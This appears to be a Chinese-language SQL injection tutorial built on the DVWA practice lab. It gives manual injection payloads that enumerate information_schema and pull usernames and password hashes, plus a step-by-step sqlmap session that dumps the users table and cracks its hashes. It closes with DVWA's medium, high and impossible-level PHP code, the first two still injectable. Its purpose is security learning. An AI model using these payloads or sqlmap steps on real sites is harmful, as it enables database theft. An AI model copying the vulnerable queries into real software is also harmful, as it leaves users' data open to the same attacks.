数据来源
本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。
耳熟能详的SQ注入是什么?
关于SQL注入漏洞,维基百科是这样解释的
SQL注入(英语:SQL injection),也称sαL注入或SQL注码,是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检査,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。
先了解SQL是什么?
SQL: Structured Query Language 结构化查询语言
隐患严重的漏洞 - SQL injection
select ticket_num from Movie_data where movie_name='长津湖'
select ticket_num from Movie_data where movie_name='长津湖' order by 1 #
这个SQL漏洞我们如何利用?
1)打开DVWA靶场
2)将安全等级调到最低-low
3)选择SQL注入
4)如何利用漏洞?首先查看开发人员是如何写的这SQL语句
代码解析:
SELECT first_name, last_name FROM users WHERE user_id = '$id'
SQL injection low:怎样判断sq注入漏洞呢?
代码中的蓝色字体代表开发者写的,红色字体是用户输入
【# 作用移除后面的sql语句,防止后面其他语句影响攻击测试】
测试一下,输入:1'and 1 = 1#
现在把1=1改成1=2再测试一下
5)利用SQL漏洞,一般步骤如下:
1. 判断列/字段数 order by [列数] # ORDER BY是SQL 的排序子句
2. 联合查询其他信息 union select [sql1] [sql2]
1' union select user(),database()#
3. 联合查询表 union select table_name, table_schema from information_schema.tables where table_schema= ' [数据库名称]'
1' union select table_name, table_schema from information_schema.tables where table_schema='dvwa'#'
注意:information_schema数据库是一个默认的数据库,mysql5.0以上都会存在
4. 联合查询信息 union[ 查询sql]
1' union select user,password from users#
SQLmap,把复杂的利用过程自动化
SQLmap官网:https://sqlmap.org/
SQLmap自动化SQL注入利用过程一般如下:(我这里使用kali虚拟机演示,没有kali的可自行百度搜索:kali ,然后安装这个系统是开源免费的,安装过程:一路下一步)
前提:
- 在kali安装DVWA靶场
- 打开kali系统在命令行输入sqlmap测试一下
- 如果不想在kali安装靶场也可以使用win7的IP在kali系统的浏览器内登录
输入sqlmap测试一下
打开DVWA靶场
首先:命令行启动apache2和mysql服务(如果你是使用win7系统登录,就忽略这一步)
service apache2 start # 启动apache2
service mysql start # 启动mysql
然后在浏览器输入:http://127.0.0.1/dvwa/ 登录
第一步:检测漏洞
sqlmap -u "要检查的网址" --cookie ="网站登录后,后端返回的cookie值" # cookie值如何获取请往下翻(cookie 就是个登录凭证,证明你已经登录了他们网站)
获取要测试的URL
cookie 的作用:告诉软件你已经登录了,如何获取网站的cookie?
回到网址按:F12 # 进入开发者模式
拿到了网址地址和cookie后,就可以粘贴到kali的命令行中运行命令:
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=u6v3a75ip46i3evan1pmvu09od; security=low"
扫扫描结果:有SQL漏洞,数据库是MySQL且版本大于>=5.0.12 (mysql数据库大于5.0版本就会存在默认的数据库:information_schema)
第二步:获取数据库名
在第一步检测的的命令后面加上:--dbs # database server获取所有数据库名
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=u6v3a75ip46i3evan1pmvu09od; security=low" --dbs
第三步:获取指定数据库表
在第一步检测的的命令后面加上: -D 数据库名称 --tables # -D(Database)指定想要获取的数据库名,--tables 枚举(遍历)DBMS数据库中的表
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=u6v3a75ip46i3evan1pmvu09od; security=low" -D dvwa --tables
第四步:获取指定数据库列/表项
在第一步检测的的命令后面加上:-D 数据库名 -T 数据库的表名 --columns # --columns 列出表项/例
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=u6v3a75ip46i3evan1pmvu09od; security=low" -D dvwa -T users --columns
第五步:获取数据
把第四步命令后面的--columns换成:--dump # 读取数据
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=u6v3a75ip46i3evan1pmvu09od; security=low" -D dvwa -T users --dump
是否需要破解,列数据中加密的内容,我选了:y
图片来源
SQL Injection(注入) 防御
防御 medium (中级、中等)
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
但是现在的安全等级是中级,还是存在漏洞的
防御 high (高级)
按照上面的方法调为高级即可
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
防御 impossible(不可能被攻击的)
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;
$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time.
$num_columns = $result->numColumns();
if ($num_columns == 2) {
$row = $result->fetchArray();
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
break;
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>